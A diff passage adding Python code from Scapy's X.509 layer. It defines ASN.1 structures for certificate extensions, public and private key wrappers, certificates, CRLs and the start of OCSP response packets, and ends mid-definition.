+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SEQUENCE(
+                    ASN1F_optional(
+                        ASN1F_BOOLEAN("cA", False)),
+                    ASN1F_optional(
+                        ASN1F_INTEGER("pathLenConstraint", None)))
+
+class X509_ExtCRLNumber(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_INTEGER("cRLNumber", 0)
+
+_cRL_reasons = ["unspecified",
+               "keyCompromise",
+               "cACompromise",
+               "affiliationChanged",
+               "superseded",
+               "cessationOfOperation",
+               "certificateHold",
+               "unused_reasonCode",
+               "removeFromCRL",
+               "privilegeWithdrawn",
+               "aACompromise"]
+
+class X509_ExtReasonCode(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_ENUMERATED("cRLReason", 0, _cRL_reasons)
+
+class X509_ExtDeltaCRLIndicator(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_INTEGER("deltaCRLIndicator", 0)
+
+class X509_ExtIssuingDistributionPoint(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SEQUENCE(
+                    ASN1F_optional(
+                        ASN1F_PACKET("distributionPoint",
+                                     X509_ExtDistributionPointName(),
+                                     X509_ExtDistributionPointName,
+                                     explicit_tag=0xa0)),
+                    ASN1F_BOOLEAN("onlyContainsUserCerts", False,
+                                  implicit_tag=0x81),
+                    ASN1F_BOOLEAN("onlyContainsCACerts", False,
+                                  implicit_tag=0x82),
+                    ASN1F_optional(
+                        ASN1F_FLAGS("onlySomeReasons", None,
+                                    _reasons_mapping,
+                                    implicit_tag=0x83)),
+                    ASN1F_BOOLEAN("indirectCRL", False,
+                                  implicit_tag=0x84),
+                    ASN1F_BOOLEAN("onlyContainsAttributeCerts", False,
+                                  implicit_tag=0x85))
+
+class X509_ExtCertificateIssuer(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SEQUENCE_OF("certificateIssuer", [], X509_GeneralName)
+
+class X509_ExtInvalidityDate(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_GENERALIZED_TIME("invalidityDate", str(ZuluTime(+86400)))
+
+class X509_ExtSubjectAltName(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SEQUENCE_OF("subjectAltName", [], X509_GeneralName)
+
+class X509_ExtIssuerAltName(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SEQUENCE_OF("issuerAltName", [], X509_GeneralName)
+
+class X509_ExtGeneralSubtree(ASN1_Packet):
+    # 'minimum' is not optional in RFC 5280, yet it is in some implementations.
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SEQUENCE(
+                    ASN1F_PACKET("base", X509_GeneralName(), X509_GeneralName),
+                    ASN1F_optional(
+                        ASN1F_INTEGER("minimum", None, implicit_tag=0x80)),
+                    ASN1F_optional(
+                        ASN1F_INTEGER("maximum", None, implicit_tag=0x81)))
+
+class X509_ExtNameConstraints(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SEQUENCE(
+                    ASN1F_optional(
+                        ASN1F_SEQUENCE_OF("permittedSubtrees", None,
+                                          X509_ExtGeneralSubtree,
+                                          implicit_tag=0xa0)),
+                    ASN1F_optional(
+                        ASN1F_SEQUENCE_OF("excludedSubtrees", None,
+                                          X509_ExtGeneralSubtree,
+                                          implicit_tag=0xa1)))
+
+class X509_ExtPolicyConstraints(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SEQUENCE(
+                    ASN1F_optional(
+                        ASN1F_INTEGER("requireExplicitPolicy", None,
+                                      implicit_tag=0x80)),
+                    ASN1F_optional(
+                        ASN1F_INTEGER("inhibitPolicyMapping", None,
+                                      implicit_tag=0x81)))
+
+class X509_ExtExtendedKeyUsage(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SEQUENCE_OF("extendedKeyUsage", [], ASN1P_OID)
+    def get_extendedKeyUsage(self):
+        eku_array = self.extendedKeyUsage
+        return [eku.oid.oidname for eku in eku_array]
+
+class X509_ExtNoticeReference(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SEQUENCE(
+                    ASN1F_CHOICE("organization",
+                                 ASN1_UTF8_STRING("Dummy Organization"),
+                        ASN1F_IA5_STRING, ASN1F_ISO646_STRING,
+                        ASN1F_BMP_STRING, ASN1F_UTF8_STRING),
+                    ASN1F_SEQUENCE_OF("noticeNumbers", [], ASN1P_INTEGER))
+
+class X509_ExtUserNotice(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SEQUENCE(
+                    ASN1F_optional(
+                        ASN1F_PACKET("noticeRef", None,
+                                     X509_ExtNoticeReference)),
+                    ASN1F_optional(
+                        ASN1F_CHOICE("explicitText",
+                                     ASN1_UTF8_STRING("Dummy ExplicitText"),
+                            ASN1F_IA5_STRING, ASN1F_ISO646_STRING,
+                            ASN1F_BMP_STRING, ASN1F_UTF8_STRING)))
+
+class X509_ExtPolicyQualifierInfo(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SEQUENCE(
+                    ASN1F_OID("policyQualifierId", "1.3.6.1.5.5.7.2.1"),
+                    ASN1F_CHOICE("qualifier", ASN1_IA5_STRING("cps_str"),
+                        ASN1F_IA5_STRING, X509_ExtUserNotice))
+
+class X509_ExtPolicyInformation(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SEQUENCE(
+                    ASN1F_OID("policyIdentifier", "2.5.29.32.0"),
+                    ASN1F_optional(
+                        ASN1F_SEQUENCE_OF("policyQualifiers", None,
+                            X509_ExtPolicyQualifierInfo)))
+
+class X509_ExtCertificatePolicies(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SEQUENCE_OF("certificatePolicies",
+                                  [X509_ExtPolicyInformation()],
+                                  X509_ExtPolicyInformation)
+
+class X509_ExtCRLDistributionPoints(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SEQUENCE_OF("cRLDistributionPoints",
+                                  [X509_ExtDistributionPoint()],
+                                  X509_ExtDistributionPoint)
+
+class X509_ExtInhibitAnyPolicy(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_INTEGER("skipCerts", 0)
+
+class X509_ExtFreshestCRL(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SEQUENCE_OF("cRLDistributionPoints",
+                                  [X509_ExtDistributionPoint()],
+                                  X509_ExtDistributionPoint)
+
+class X509_AccessDescription(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SEQUENCE(
+                    ASN1F_OID("accessMethod", "0"),
+                    ASN1F_PACKET("accessLocation", X509_GeneralName(),
+                                 X509_GeneralName))
+
+class X509_ExtAuthInfoAccess(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SEQUENCE_OF("authorityInfoAccess", 
+                                  [X509_AccessDescription()],
+                                  X509_AccessDescription)
+
+class X509_ExtQcStatement(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SEQUENCE(
+                    ASN1F_OID("statementId", "0.4.0.1862.1.1"),
+                    ASN1F_optional(
+                        ASN1F_field("statementInfo", None)))
+
+class X509_ExtQcStatements(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SEQUENCE_OF("qcStatements",
+                                  [X509_ExtQcStatement()],
+                                  X509_ExtQcStatement)
+
+class X509_ExtSubjInfoAccess(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SEQUENCE_OF("subjectInfoAccess",
+                                  [X509_AccessDescription()],
+                                  X509_AccessDescription)
+
+class X509_ExtNetscapeCertType(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_BIT_STRING("netscapeCertType", "")
+
+class X509_ExtComment(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_CHOICE("comment",
+                             ASN1_UTF8_STRING("Dummy comment."),
+                    ASN1F_IA5_STRING, ASN1F_ISO646_STRING,
+                    ASN1F_BMP_STRING, ASN1F_UTF8_STRING)
+
+class X509_ExtDefault(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_field("value", None)
+
+# oid-info.com shows that some extensions share multiple OIDs.
+# Here we only reproduce those written in RFC5280.
+_ext_mapping = {
+        "2.5.29.9"      : X509_ExtSubjectDirectoryAttributes,
+        "2.5.29.14"     : X509_ExtSubjectKeyIdentifier,
+        "2.5.29.15"     : X509_ExtKeyUsage,
+        "2.5.29.16"     : X509_ExtPrivateKeyUsagePeriod,
+        "2.5.29.17"     : X509_ExtSubjectAltName,
+        "2.5.29.18"     : X509_ExtIssuerAltName,
+        "2.5.29.19"     : X509_ExtBasicConstraints,
+        "2.5.29.20"     : X509_ExtCRLNumber,
+        "2.5.29.21"     : X509_ExtReasonCode,
+        "2.5.29.24"     : X509_ExtInvalidityDate,
+        "2.5.29.27"     : X509_ExtDeltaCRLIndicator,
+        "2.5.29.28"     : X509_ExtIssuingDistributionPoint,
+        "2.5.29.29"     : X509_ExtCertificateIssuer,
+        "2.5.29.30"     : X509_ExtNameConstraints,
+        "2.5.29.31"     : X509_ExtCRLDistributionPoints,
+        "2.5.29.32"     : X509_ExtCertificatePolicies,
+        "2.5.29.33"     : X509_ExtPolicyMappings,
+        "2.5.29.35"     : X509_ExtAuthorityKeyIdentifier,
+        "2.5.29.36"     : X509_ExtPolicyConstraints,
+        "2.5.29.37"     : X509_ExtExtendedKeyUsage,
+        "2.5.29.46"     : X509_ExtFreshestCRL,
+        "2.5.29.54"     : X509_ExtInhibitAnyPolicy,
+        "2.16.840.1.113730.1.1"    : X509_ExtNetscapeCertType,
+        "2.16.840.1.113730.1.13"   : X509_ExtComment,
+        "1.3.6.1.5.5.7.1.1"        : X509_ExtAuthInfoAccess,
+        "1.3.6.1.5.5.7.1.3"        : X509_ExtQcStatements,
+        "1.3.6.1.5.5.7.1.11"       : X509_ExtSubjInfoAccess
+        }
+
+class ASN1F_EXT_SEQUENCE(ASN1F_SEQUENCE):
+    # We use explicit_tag=0x04 with extnValue as STRING encapsulation.
+    def __init__(self, **kargs):
+        seq = [ASN1F_OID("extnID", "2.5.29.19"),
+               ASN1F_optional(
+                   ASN1F_BOOLEAN("critical", False)),
+               ASN1F_PACKET("extnValue",
+                   X509_ExtBasicConstraints(),
+                   X509_ExtBasicConstraints,
+                   explicit_tag=0x04)]
+        ASN1F_SEQUENCE.__init__(self, *seq, **kargs)
+    def dissect(self, pkt, s):
+        _,s = BER_tagging_dec(s, implicit_tag=self.implicit_tag,
+                              explicit_tag=self.explicit_tag,
+                              safe=self.flexible_tag)
+        codec = self.ASN1_tag.get_codec(pkt.ASN1_codec)
+        i,s,remain = codec.check_type_check_len(s)
+        extnID = self.seq[0]
+        critical = self.seq[1]
+        try:
+            oid,s = extnID.m2i(pkt, s)
+            extnID.set_val(pkt, oid)
+            s = critical.dissect(pkt, s)
+            encapsed = X509_ExtDefault
+            if oid.val in _ext_mapping:
+                encapsed = _ext_mapping[oid.val]
+            self.seq[2].cls = encapsed
+            self.seq[2].cls.ASN1_root.flexible_tag = True
+            # there are too many private extensions not to be flexible here
+            self.seq[2].default = encapsed()
+            s = self.seq[2].dissect(pkt, s)
+            if not self.flexible_tag and len(s) > 0:
+                err_msg = "extension sequence length issue"
+                raise BER_Decoding_Error(err_msg, remaining=s)
+        except ASN1F_badsequence as e:
+            raise Exception("could not parse extensions")
+        return remain
+
+class X509_Extension(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_EXT_SEQUENCE()
+
+class X509_Extensions(ASN1_Packet):
+    # we use this in OCSP status requests, in tls/handshake.py
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_optional(
+                    ASN1F_SEQUENCE_OF("extensions",
+                                      None, X509_Extension))
+
+
+####### Public key wrapper #######
+
+class X509_AlgorithmIdentifier(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SEQUENCE(
+                    ASN1F_OID("algorithm", "1.2.840.113549.1.1.11"),
+                    ASN1F_optional(
+                        ASN1F_CHOICE("parameters", ASN1_NULL(0),
+                            ASN1F_NULL, ECParameters)))
+
+class ASN1F_X509_SubjectPublicKeyInfoRSA(ASN1F_SEQUENCE):
+    def __init__(self, **kargs):
+        seq = [ASN1F_PACKET("signatureAlgorithm",
+                            X509_AlgorithmIdentifier(),
+                            X509_AlgorithmIdentifier),
+               ASN1F_BIT_STRING_ENCAPS("subjectPublicKey",
+                            RSAPublicKey(),
+                            RSAPublicKey)]
+        ASN1F_SEQUENCE.__init__(self, *seq, **kargs)
+
+class ASN1F_X509_SubjectPublicKeyInfoECDSA(ASN1F_SEQUENCE):
+    def __init__(self, **kargs):
+        seq = [ASN1F_PACKET("signatureAlgorithm",
+                            X509_AlgorithmIdentifier(),
+                            X509_AlgorithmIdentifier),
+               ASN1F_PACKET("subjectPublicKey", ECDSAPublicKey(),
+                            ECDSAPublicKey)]
+        ASN1F_SEQUENCE.__init__(self, *seq, **kargs)
+
+class ASN1F_X509_SubjectPublicKeyInfo(ASN1F_SEQUENCE):
+    def __init__(self, **kargs):
+        seq = [ASN1F_PACKET("signatureAlgorithm",
+                            X509_AlgorithmIdentifier(),
+                            X509_AlgorithmIdentifier),
+               ASN1F_BIT_STRING("subjectPublicKey", None)]
+        ASN1F_SEQUENCE.__init__(self, *seq, **kargs)
+    def m2i(self, pkt, x):
+        c,s = ASN1F_SEQUENCE.m2i(self, pkt, x)
+        keytype = pkt.fields["signatureAlgorithm"].algorithm.oidname
+        if "rsa" in keytype.lower():
+            return ASN1F_X509_SubjectPublicKeyInfoRSA().m2i(pkt, x)
+        elif keytype == "ecPublicKey":
+            return ASN1F_X509_SubjectPublicKeyInfoECDSA().m2i(pkt, x)
+        else:
+            raise Exception("could not parse subjectPublicKeyInfo")
+    def dissect(self, pkt, s):
+        c,x = self.m2i(pkt, s)
+        return x
+    def build(self, pkt):
+        if "signatureAlgorithm" in pkt.fields:
+            ktype = pkt.fields['signatureAlgorithm'].algorithm.oidname
+        else:
+            ktype = pkt.default_fields["signatureAlgorithm"].algorithm.oidname
+        if "rsa" in ktype.lower():
+            pkt.default_fields["subjectPublicKey"] = RSAPublicKey()
+            return ASN1F_X509_SubjectPublicKeyInfoRSA().build(pkt)
+        elif ktype == "ecPublicKey":
+            pkt.default_fields["subjectPublicKey"] = ECDSAPublicKey()
+            return ASN1F_X509_SubjectPublicKeyInfoECDSA().build(pkt)
+        else:
+            raise Exception("could not build subjectPublicKeyInfo")
+
+class X509_SubjectPublicKeyInfo(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_X509_SubjectPublicKeyInfo()
+
+
+###### OpenSSL compatibility wrappers ######
+
+#XXX As ECDSAPrivateKey already uses the structure from RFC 5958,
+# and as we would prefer encapsulated RSA private keys to be parsed,
+# this lazy implementation actually supports RSA encoding only.
+# We'd rather call it RSAPrivateKey_OpenSSL than X509_PrivateKeyInfo.
+class RSAPrivateKey_OpenSSL(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SEQUENCE(
+                    ASN1F_enum_INTEGER("version", 0, ["v1", "v2"]),
+                    ASN1F_PACKET("privateKeyAlgorithm",
+                                 X509_AlgorithmIdentifier(),
+                                 X509_AlgorithmIdentifier),
+                    ASN1F_PACKET("privateKey",
+                                 RSAPrivateKey(),
+                                 RSAPrivateKey,
+                                 explicit_tag=0x04),
+                    ASN1F_optional(
+                        ASN1F_PACKET("parameters", None, ECParameters,
+                                     explicit_tag=0xa0)),
+                    ASN1F_optional(
+                        ASN1F_PACKET("publicKey", None,
+                                     ECDSAPublicKey,
+                                     explicit_tag=0xa1)))
+
+# We need this hack because ECParameters parsing below must return
+# a Padding payload, and making the ASN1_Packet class have Padding
+# instead of Raw payload would break things...
+class _PacketFieldRaw(PacketField):
+    def getfield(self, pkt, s):
+        i = self.m2i(pkt, s)
+        remain = ""
+        if conf.raw_layer in i:
+            r = i[conf.raw_layer]
+            del(r.underlayer.payload)
+            remain = r.load
+        return remain,i
+ 
+class ECDSAPrivateKey_OpenSSL(Packet):
+    name = "ECDSA Params + Private Key"
+    fields_desc = [ _PacketFieldRaw("ecparam",
+                                    ECParameters(),
+                                    ECParameters),
+                    PacketField("privateKey",
+                                ECDSAPrivateKey(),
+                                ECDSAPrivateKey) ]
+
+
+####### TBSCertificate & Certificate #######
+
+_default_issuer = [
+        X509_RDN(),
+        X509_RDN(
+            rdn=[X509_AttributeTypeAndValue(
+                 type="2.5.4.10",
+                 value=ASN1_PRINTABLE_STRING("Scapy, Inc."))]),
+        X509_RDN(
+            rdn=[X509_AttributeTypeAndValue(
+                 type="2.5.4.3",
+                 value=ASN1_PRINTABLE_STRING("Scapy Default Issuer"))])
+            ]
+
+_default_subject = [
+        X509_RDN(),
+        X509_RDN(
+            rdn=[X509_AttributeTypeAndValue(
+                 type="2.5.4.10",
+                 value=ASN1_PRINTABLE_STRING("Scapy, Inc."))]),
+        X509_RDN(
+            rdn=[X509_AttributeTypeAndValue(
+                 type="2.5.4.3",
+                 value=ASN1_PRINTABLE_STRING("Scapy Default Subject"))])
+            ]
+
+class X509_Validity(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root =  ASN1F_SEQUENCE(
+                     ASN1F_CHOICE("not_before",
+                                  ASN1_UTC_TIME(str(ZuluTime(-600))),
+                                  ASN1F_UTC_TIME, ASN1F_GENERALIZED_TIME),
+                     ASN1F_CHOICE("not_after",
+                                  ASN1_UTC_TIME(str(ZuluTime(+86400))),
+                                  ASN1F_UTC_TIME, ASN1F_GENERALIZED_TIME))
+
+_attrName_mapping = [
+        ("countryName"               , "C"),
+        ("stateOrProvinceName"       , "ST"),
+        ("localityName"              , "L"),
+        ("organizationName"          , "O"),
+        ("organizationUnitName"      , "OU"),
+        ("commonName"                , "CN")
+        ]
+_attrName_specials = [name for name, symbol in _attrName_mapping]
+
+class X509_TBSCertificate(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SEQUENCE(
+                    ASN1F_optional(
+                        ASN1F_enum_INTEGER("version", 0x2, ["v1", "v2", "v3"],
+                                           explicit_tag=0xa0)),
+                    ASN1F_INTEGER("serialNumber", 1),
+                    ASN1F_PACKET("signature",
+                                 X509_AlgorithmIdentifier(),
+                                 X509_AlgorithmIdentifier),
+                    ASN1F_SEQUENCE_OF("issuer", _default_issuer, X509_RDN),
+                    ASN1F_PACKET("validity",
+                                 X509_Validity(),
+                                 X509_Validity),
+                    ASN1F_SEQUENCE_OF("subject", _default_subject, X509_RDN),
+                    ASN1F_PACKET("subjectPublicKeyInfo",
+                                 X509_SubjectPublicKeyInfo(),
+                                 X509_SubjectPublicKeyInfo),
+                    ASN1F_optional(
+                        ASN1F_BIT_STRING("issuerUniqueID", None,
+                                         implicit_tag=0x81)),
+                    ASN1F_optional(
+                        ASN1F_BIT_STRING("subjectUniqueID", None,
+                                         implicit_tag=0x82)),
+                    ASN1F_optional(
+                           ASN1F_SEQUENCE_OF("extensions",
+                                             [X509_Extension()],
+                                             X509_Extension,
+                                             explicit_tag=0xa3)))
+    def get_issuer(self):
+        attrs = self.issuer
+        attrsDict = {}
+        for attr in attrs:
+            # we assume there is only one name in each rdn ASN1_SET
+            attrsDict[attr.rdn[0].type.oidname] = plain_str(attr.rdn[0].value.val)
+        return attrsDict
+    def get_issuer_str(self):
+        """
+        Returns a one-line string containing every type/value
+        in a rather specific order. sorted() built-in ensures unicity.
+        """
+        name_str = ""
+        attrsDict = self.get_issuer()
+        for attrType, attrSymbol in _attrName_mapping:
+            if attrType in attrsDict:
+                name_str += "/" + attrSymbol + "="
+                name_str += attrsDict[attrType]
+        for attrType in sorted(attrsDict):
+            if attrType not in _attrName_specials:
+                name_str += "/" + attrType + "="
+                name_str += attrsDict[attrType]
+        return name_str
+    def get_subject(self):
+        attrs = self.subject
+        attrsDict = {}
+        for attr in attrs:
+            # we assume there is only one name in each rdn ASN1_SET
+            attrsDict[attr.rdn[0].type.oidname] = plain_str(attr.rdn[0].value.val)
+        return attrsDict
+    def get_subject_str(self):
+        name_str = ""
+        attrsDict = self.get_subject()
+        for attrType, attrSymbol in _attrName_mapping:
+            if attrType in attrsDict:
+                name_str += "/" + attrSymbol + "="
+                name_str += attrsDict[attrType]
+        for attrType in sorted(attrsDict):
+            if attrType not in _attrName_specials:
+                name_str += "/" + attrType + "="
+                name_str += attrsDict[attrType]
+        return name_str
+
+class ASN1F_X509_CertECDSA(ASN1F_SEQUENCE):
+    def __init__(self, **kargs):
+        seq = [ASN1F_PACKET("tbsCertificate",
+                            X509_TBSCertificate(),
+                            X509_TBSCertificate),
+               ASN1F_PACKET("signatureAlgorithm",
+                            X509_AlgorithmIdentifier(),
+                            X509_AlgorithmIdentifier),
+               ASN1F_BIT_STRING_ENCAPS("signatureValue",
+                            ECDSASignature(),
+                            ECDSASignature)]
+        ASN1F_SEQUENCE.__init__(self, *seq, **kargs)
+
+class ASN1F_X509_Cert(ASN1F_SEQUENCE):
+    def __init__(self, **kargs):
+        seq = [ASN1F_PACKET("tbsCertificate",
+                            X509_TBSCertificate(),
+                            X509_TBSCertificate),
+               ASN1F_PACKET("signatureAlgorithm",
+                            X509_AlgorithmIdentifier(),
+                            X509_AlgorithmIdentifier),
+               ASN1F_BIT_STRING("signatureValue",
+                                "defaultsignature"*2)]
+        ASN1F_SEQUENCE.__init__(self, *seq, **kargs)
+    def m2i(self, pkt, x):
+        c,s = ASN1F_SEQUENCE.m2i(self, pkt, x)
+        sigtype = pkt.fields["signatureAlgorithm"].algorithm.oidname
+        if "rsa" in sigtype.lower():
+            return c,s
+        elif "ecdsa" in sigtype.lower():
+            return ASN1F_X509_CertECDSA().m2i(pkt, x)
+        else:
+            raise Exception("could not parse certificate")
+    def dissect(self, pkt, s):
+        c,x = self.m2i(pkt, s)
+        return x
+    def build(self, pkt):
+        if "signatureAlgorithm" in pkt.fields:
+            sigtype = pkt.fields['signatureAlgorithm'].algorithm.oidname
+        else:
+            sigtype = pkt.default_fields["signatureAlgorithm"].algorithm.oidname
+        if "rsa" in sigtype.lower():
+            return ASN1F_SEQUENCE.build(self, pkt)
+        elif "ecdsa" in sigtype.lower():
+            pkt.default_fields["signatureValue"] = ECDSASignature()
+            return ASN1F_X509_CertECDSA().build(pkt)
+        else:
+            raise Exception("could not build certificate")
+
+class X509_Cert(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_X509_Cert()
+
+
+####### TBSCertList & CRL #######
+
+class X509_RevokedCertificate(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SEQUENCE(ASN1F_INTEGER("serialNumber", 1),
+                               ASN1F_UTC_TIME("revocationDate",
+                                              str(ZuluTime(+86400))),
+                               ASN1F_optional(
+                                   ASN1F_SEQUENCE_OF("crlEntryExtensions",
+                                                     None, X509_Extension)))
+
+class X509_TBSCertList(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SEQUENCE(
+                    ASN1F_optional(
+                        ASN1F_enum_INTEGER("version", 1, ["v1", "v2"])),
+                    ASN1F_PACKET("signature",
+                                 X509_AlgorithmIdentifier(),
+                                 X509_AlgorithmIdentifier),
+                    ASN1F_SEQUENCE_OF("issuer", _default_issuer, X509_RDN),
+                    ASN1F_UTC_TIME("this_update", str(ZuluTime(-1))),
+                    ASN1F_optional(
+                        ASN1F_UTC_TIME("next_update", None)),
+                    ASN1F_optional(
+                        ASN1F_SEQUENCE_OF("revokedCertificates", None,
+                                          X509_RevokedCertificate)),
+                    ASN1F_optional(
+                              ASN1F_SEQUENCE_OF("crlExtensions", None,
+                                                X509_Extension,
+                                                explicit_tag=0xa0)))
+    def get_issuer(self):
+        attrs = self.issuer
+        attrsDict = {}
+        for attr in attrs:
+            # we assume there is only one name in each rdn ASN1_SET
+            attrsDict[attr.rdn[0].type.oidname] = plain_str(attr.rdn[0].value.val)
+        return attrsDict
+    def get_issuer_str(self):
+        """
+        Returns a one-line string containing every type/value
+        in a rather specific order. sorted() built-in ensures unicity.
+        """
+        name_str = ""
+        attrsDict = self.get_issuer()
+        for attrType, attrSymbol in _attrName_mapping:
+            if attrType in attrsDict:
+                name_str += "/" + attrSymbol + "="
+                name_str += attrsDict[attrType]
+        for attrType in sorted(attrsDict):
+            if attrType not in _attrName_specials:
+                name_str += "/" + attrType + "="
+                name_str += attrsDict[attrType]
+        return name_str
+
+class ASN1F_X509_CRLECDSA(ASN1F_SEQUENCE):
+    def __init__(self, **kargs):
+        seq = [ASN1F_PACKET("tbsCertList",
+                            X509_TBSCertList(),
+                            X509_TBSCertList),
+               ASN1F_PACKET("signatureAlgorithm",
+                            X509_AlgorithmIdentifier(),
+                            X509_AlgorithmIdentifier),
+               ASN1F_BIT_STRING_ENCAPS("signatureValue",
+                            ECDSASignature(),
+                            ECDSASignature)]
+        ASN1F_SEQUENCE.__init__(self, *seq, **kargs)
+
+class ASN1F_X509_CRL(ASN1F_SEQUENCE):
+    def __init__(self, **kargs):
+        seq = [ASN1F_PACKET("tbsCertList",
+                            X509_TBSCertList(),
+                            X509_TBSCertList),
+               ASN1F_PACKET("signatureAlgorithm",
+                            X509_AlgorithmIdentifier(),
+                            X509_AlgorithmIdentifier),
+               ASN1F_BIT_STRING("signatureValue",
+                                "defaultsignature"*2)]
+        ASN1F_SEQUENCE.__init__(self, *seq, **kargs)
+    def m2i(self, pkt, x):
+        c,s = ASN1F_SEQUENCE.m2i(self, pkt, x)
+        sigtype = pkt.fields["signatureAlgorithm"].algorithm.oidname
+        if "rsa" in sigtype.lower():
+            return c,s
+        elif "ecdsa" in sigtype.lower():
+            return ASN1F_X509_CRLECDSA().m2i(pkt, x)
+        else:
+            raise Exception("could not parse certificate")
+    def dissect(self, pkt, s):
+        c,x = self.m2i(pkt, s)
+        return x
+    def build(self, pkt):
+        if "signatureAlgorithm" in pkt.fields:
+            sigtype = pkt.fields['signatureAlgorithm'].algorithm.oidname
+        else:
+            sigtype = pkt.default_fields["signatureAlgorithm"].algorithm.oidname
+        if "rsa" in sigtype.lower():
+            return ASN1F_SEQUENCE.build(self, pkt)
+        elif "ecdsa" in sigtype.lower():
+            pkt.default_fields["signatureValue"] = ECDSASignature()
+            return ASN1F_X509_CRLECDSA().build(pkt)
+        else:
+            raise Exception("could not build certificate")
+
+class X509_CRL(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_X509_CRL()
+
+
+#############################
+#### OCSP Status packets ####
+#############################
+########### based on RFC 6960
+
+class OCSP_CertID(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SEQUENCE(
+                    ASN1F_PACKET("hashAlgorithm",
+                                 X509_AlgorithmIdentifier(),
+                                 X509_AlgorithmIdentifier),
+                    ASN1F_STRING("issuerNameHash", ""),
+                    ASN1F_STRING("issuerKeyHash", ""),
+                    ASN1F_INTEGER("serialNumber", 0))
+
+class OCSP_GoodInfo(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_NULL("info", 0)
+
+class OCSP_RevokedInfo(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SEQUENCE(
+                    ASN1F_GENERALIZED_TIME("revocationTime", ""),
+                    ASN1F_optional(
+                        ASN1F_PACKET("revocationReason", None,
+                                     X509_ExtReasonCode,
+                                     explicit_tag=0x80)))
+
+class OCSP_UnknownInfo(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_NULL("info", 0)
+
+class OCSP_CertStatus(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_CHOICE("certStatus", None,
+                    ASN1F_PACKET("good", OCSP_GoodInfo(),
+                                 OCSP_GoodInfo, implicit_tag=0x80),
+                    ASN1F_PACKET("revoked", OCSP_RevokedInfo(),
+                                 OCSP_RevokedInfo, implicit_tag=0xa1),
+                    ASN1F_PACKET("unknown", OCSP_UnknownInfo(),
+                                 OCSP_UnknownInfo, implicit_tag=0x82))
+
+class OCSP_SingleResponse(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SEQUENCE(
+                    ASN1F_PACKET("certID", OCSP_CertID(), OCSP_CertID),
+                    ASN1F_PACKET("certStatus", OCSP_CertStatus(),
+                                 OCSP_CertStatus),
+                    ASN1F_GENERALIZED_TIME("thisUpdate", ""),
+                    ASN1F_optional(
+                        ASN1F_GENERALIZED_TIME("nextUpdate", "",
+                                               explicit_tag=0xa0)),
+                    ASN1F_optional(
+                        ASN1F_SEQUENCE_OF("singleExtensions", None,
+                                          X509_Extension,
+                                          explicit_tag=0xa1)))
+
+class OCSP_ByName(ASN1_Packet):
